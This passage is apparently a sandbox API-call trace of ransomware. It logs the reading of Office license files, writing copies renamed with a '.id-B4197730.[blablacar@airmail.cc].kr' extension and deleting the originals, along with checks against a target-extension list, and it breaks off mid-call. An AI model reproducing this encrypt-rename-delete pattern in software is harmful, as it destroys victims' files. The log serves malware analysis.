0x3bc [0210.807] GetLastError () returned 0x0 [0210.807] ReadFile (in: hFile=0x578, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x2d4f, lpOverlapped=0x0) returned 1 [0210.809] WriteFile (in: hFile=0x3bc, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x2d50, lpOverlapped=0x0) returned 1 [0210.810] ReadFile (in: hFile=0x578, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0210.810] WriteFile (in: hFile=0x3bc, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x10c, lpOverlapped=0x0) returned 1 [0210.810] SetEndOfFile (hFile=0x3bc) returned 1 [0210.810] CloseHandle (hObject=0x3bc) returned 1 [0210.810] SetFilePointerEx (in: hFile=0x578, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0210.811] SetEndOfFile (hFile=0x578) returned 1 [0210.813] CloseHandle (hObject=0x578) returned 1 [0210.813] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Grace-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0210.815] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_grace-ul-oob.xrm-ms")) returned 1 [0210.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Grace-ul-oob.xrm-ms") returned 78 [0210.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Grace-ul-oob.xrm-ms") returned 78 [0210.816] lstrlenW (lpString=".doc") returned 4 [0210.816] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0210.816] lstrlenW (lpString=".docx") returned 5 [0210.816] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0210.816] lstrlenW (lpString=".pdf") returned 4 [0210.816] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0210.816] lstrlenW (lpString=".xls") returned 4 [0210.816] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0210.816] lstrlenW (lpString=".xlsx") returned 5 [0210.816] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0210.816] lstrlenW (lpString=".ppt") returned 4 [0210.816] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0210.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Grace-ul-oob.xrm-ms") returned 78 [0210.816] lstrlenW (lpString=".zip") returned 4 [0210.816] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0210.816] lstrlenW (lpString=".rar") returned 4 [0210.816] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0210.816] lstrlenW (lpString=".bz2") returned 4 [0210.816] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0210.816] lstrlenW (lpString=".7z") returned 3 [0210.816] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0210.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Grace-ul-oob.xrm-ms") returned 78 [0210.816] lstrlenW (lpString=".dbf") returned 4 [0210.816] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0210.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Grace-ul-oob.xrm-ms") returned 78 [0210.816] lstrlenW (lpString=".1cd") returned 4 [0210.816] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0210.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Grace-ul-oob.xrm-ms") returned 78 [0210.817] lstrlenW (lpString=".jpg") returned 4 [0210.817] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0210.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Grace-ul-oob.xrm-ms") returned 78 [0210.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Grace-ul-oob.xrm-ms") returned 78 [0210.817] lstrlenW (lpString=".doc") returned 4 [0210.817] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0210.817] lstrlenW (lpString=".docx") returned 5 [0210.817] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0210.817] lstrlenW (lpString=".pdf") returned 4 [0210.817] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0210.817] lstrlenW (lpString=".xls") returned 4 [0210.817] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0210.817] lstrlenW (lpString=".xlsx") returned 5 [0210.817] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0210.817] lstrlenW (lpString=".ppt") returned 4 [0210.817] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0210.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Grace-ul-oob.xrm-ms") returned 78 [0210.817] lstrlenW (lpString=".zip") returned 4 [0210.817] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0210.817] lstrlenW (lpString=".rar") returned 4 [0210.817] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0210.817] lstrlenW (lpString=".bz2") returned 4 [0210.817] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0210.817] lstrlenW (lpString=".7z") returned 3 [0210.817] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0210.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Grace-ul-oob.xrm-ms") returned 78 [0210.817] lstrlenW (lpString=".dbf") returned 4 [0210.817] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0210.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Grace-ul-oob.xrm-ms") returned 78 [0210.817] lstrlenW (lpString=".1cd") returned 4 [0210.818] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0210.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Grace-ul-oob.xrm-ms") returned 78 [0210.818] lstrlenW (lpString=".jpg") returned 4 [0210.818] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0210.818] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0210.818] lstrlenW (lpString="OutlookR_Retail-ppd.xrm-ms") returned 26 [0210.818] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_retail-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x578 [0210.819] GetFileSizeEx (in: hFile=0x578, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=20779) returned 1 [0210.819] CloseHandle (hObject=0x578) returned 1 [0210.819] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_retail-ppd.xrm-ms")) returned 0x220 [0210.819] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_retail-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0210.819] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_retail-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x578 [0210.819] SetFilePointerEx (in: hFile=0x578, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0210.819] SetFilePointerEx (in: hFile=0x578, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0210.820] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_retail-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0210.821] GetLastError () returned 0x0 [0210.821] ReadFile (in: hFile=0x578, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x512b, lpOverlapped=0x0) returned 1 [0210.823] WriteFile (in: hFile=0x3bc, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x5130, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x5130, lpOverlapped=0x0) returned 1 [0210.824] ReadFile (in: hFile=0x578, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0210.824] WriteFile (in: hFile=0x3bc, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x108, lpOverlapped=0x0) returned 1 [0210.824] SetEndOfFile (hFile=0x3bc) returned 1 [0210.824] CloseHandle (hObject=0x3bc) returned 1 [0210.824] SetFilePointerEx (in: hFile=0x578, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0210.825] SetEndOfFile (hFile=0x578) returned 1 [0210.828] CloseHandle (hObject=0x578) returned 1 [0210.828] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0210.828] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_retail-ppd.xrm-ms")) returned 1 [0210.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-ppd.xrm-ms") returned 76 [0210.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-ppd.xrm-ms") returned 76 [0210.830] lstrlenW (lpString=".doc") returned 4 [0210.830] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0210.830] lstrlenW (lpString=".docx") returned 5 [0210.830] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0210.830] lstrlenW (lpString=".pdf") returned 4 [0210.830] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0210.830] lstrlenW (lpString=".xls") returned 4 [0210.830] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0210.830] lstrlenW (lpString=".xlsx") returned 5 [0210.830] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0210.830] lstrlenW (lpString=".ppt") returned 4 [0210.830] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0210.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-ppd.xrm-ms") returned 76 [0210.830] lstrlenW (lpString=".zip") returned 4 [0210.830] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0210.830] lstrlenW (lpString=".rar") returned 4 [0210.830] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0210.830] lstrlenW (lpString=".bz2") returned 4 [0210.830] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0210.830] lstrlenW (lpString=".7z") returned 3 [0210.830] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0210.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-ppd.xrm-ms") returned 76 [0210.830] lstrlenW (lpString=".dbf") returned 4 [0210.830] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0210.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-ppd.xrm-ms") returned 76 [0210.830] lstrlenW (lpString=".1cd") returned 4 [0210.830] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0210.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-ppd.xrm-ms") returned 76 [0210.831] lstrlenW (lpString=".jpg") returned 4 [0210.831] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0210.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-ppd.xrm-ms") returned 76 [0210.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-ppd.xrm-ms") returned 76 [0210.831] lstrlenW (lpString=".doc") returned 4 [0210.831] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0210.831] lstrlenW (lpString=".docx") returned 5 [0210.831] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0210.831] lstrlenW (lpString=".pdf") returned 4 [0210.831] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0210.831] lstrlenW (lpString=".xls") returned 4 [0210.831] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0210.831] lstrlenW (lpString=".xlsx") returned 5 [0210.831] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0210.831] lstrlenW (lpString=".ppt") returned 4 [0210.831] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0210.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-ppd.xrm-ms") returned 76 [0210.831] lstrlenW (lpString=".zip") returned 4 [0210.831] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0210.831] lstrlenW (lpString=".rar") returned 4 [0210.831] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0210.831] lstrlenW (lpString=".bz2") returned 4 [0210.831] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0210.831] lstrlenW (lpString=".7z") returned 3 [0210.831] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0210.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-ppd.xrm-ms") returned 76 [0210.831] lstrlenW (lpString=".dbf") returned 4 [0210.831] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0210.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-ppd.xrm-ms") returned 76 [0210.831] lstrlenW (lpString=".1cd") returned 4 [0210.831] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0210.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-ppd.xrm-ms") returned 76 [0210.831] lstrlenW (lpString=".jpg") returned 4 [0210.832] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0210.832] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0210.832] lstrlenW (lpString="OutlookR_Retail-ul-oob.xrm-ms") returned 29 [0210.832] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_retail-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x578 [0210.832] GetFileSizeEx (in: hFile=0x578, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=11584) returned 1 [0210.833] CloseHandle (hObject=0x578) returned 1 [0210.833] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_retail-ul-oob.xrm-ms")) returned 0x220 [0210.833] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_retail-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0210.833] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_retail-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x578 [0210.833] SetFilePointerEx (in: hFile=0x578, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0210.833] SetFilePointerEx (in: hFile=0x578, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0210.833] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_retail-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0210.834] GetLastError () returned 0x0 [0210.834] ReadFile (in: hFile=0x578, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x2d40, lpOverlapped=0x0) returned 1 [0210.836] WriteFile (in: hFile=0x3bc, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x2d50, lpOverlapped=0x0) returned 1 [0210.837] ReadFile (in: hFile=0x578, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0210.837] WriteFile (in: hFile=0x3bc, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x10e, lpOverlapped=0x0) returned 1 [0210.837] SetEndOfFile (hFile=0x3bc) returned 1 [0210.837] CloseHandle (hObject=0x3bc) returned 1 [0210.837] SetFilePointerEx (in: hFile=0x578, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0210.837] SetEndOfFile (hFile=0x578) returned 1 [0210.840] CloseHandle (hObject=0x578) returned 1 [0210.840] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0210.841] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_retail-ul-oob.xrm-ms")) returned 1 [0210.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-ul-oob.xrm-ms") returned 79 [0210.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-ul-oob.xrm-ms") returned 79 [0210.841] lstrlenW (lpString=".doc") returned 4 [0210.841] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0210.842] lstrlenW (lpString=".docx") returned 5 [0210.842] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0210.842] lstrlenW (lpString=".pdf") returned 4 [0210.842] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0210.842] lstrlenW (lpString=".xls") returned 4 [0210.842] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0210.842] lstrlenW (lpString=".xlsx") returned 5 [0210.842] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0210.842] lstrlenW (lpString=".ppt") returned 4 [0210.842] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0210.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-ul-oob.xrm-ms") returned 79 [0210.842] lstrlenW (lpString=".zip") returned 4 [0210.842] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0210.842] lstrlenW (lpString=".rar") returned 4 [0210.842] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0210.842] lstrlenW (lpString=".bz2") returned 4 [0210.842] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0210.842] lstrlenW (lpString=".7z") returned 3 [0210.842] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0210.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-ul-oob.xrm-ms") returned 79 [0210.842] lstrlenW (lpString=".dbf") returned 4 [0210.842] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0210.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-ul-oob.xrm-ms") returned 79 [0210.842] lstrlenW (lpString=".1cd") returned 4 [0210.842] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0210.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-ul-oob.xrm-ms") returned 79 [0210.842] lstrlenW (lpString=".jpg") returned 4 [0210.842] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0210.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-ul-oob.xrm-ms") returned 79 [0210.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-ul-oob.xrm-ms") returned 79 [0210.842] lstrlenW (lpString=".doc") returned 4 [0210.842] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0210.842] lstrlenW (lpString=".docx") returned 5 [0210.843] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0210.843] lstrlenW (lpString=".pdf") returned 4 [0210.843] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0210.843] lstrlenW (lpString=".xls") returned 4 [0210.843] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0210.843] lstrlenW (lpString=".xlsx") returned 5 [0210.843] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0210.843] lstrlenW (lpString=".ppt") returned 4 [0210.843] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0210.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-ul-oob.xrm-ms") returned 79 [0210.843] lstrlenW (lpString=".zip") returned 4 [0210.843] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0210.843] lstrlenW (lpString=".rar") returned 4 [0210.843] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0210.843] lstrlenW (lpString=".bz2") returned 4 [0210.843] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0210.843] lstrlenW (lpString=".7z") returned 3 [0210.843] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0210.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-ul-oob.xrm-ms") returned 79 [0210.843] lstrlenW (lpString=".dbf") returned 4 [0210.843] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0210.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-ul-oob.xrm-ms") returned 79 [0210.843] lstrlenW (lpString=".1cd") returned 4 [0210.843] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0210.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-ul-oob.xrm-ms") returned 79 [0210.843] lstrlenW (lpString=".jpg") returned 4 [0210.843] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0210.843] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0210.843] lstrlenW (lpString="OutlookR_Retail-ul-phn.xrm-ms") returned 29 [0210.844] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_retail-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x578 [0210.844] GetFileSizeEx (in: hFile=0x578, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=19929) returned 1 [0210.964] CloseHandle (hObject=0x578) returned 1 [0210.964] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_retail-ul-phn.xrm-ms")) returned 0x220 [0210.964] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-ul-phn.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_retail-ul-phn.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0210.964] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_retail-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x578 [0210.964] SetFilePointerEx (in: hFile=0x578, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0210.964] SetFilePointerEx (in: hFile=0x578, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0210.964] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-ul-phn.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: 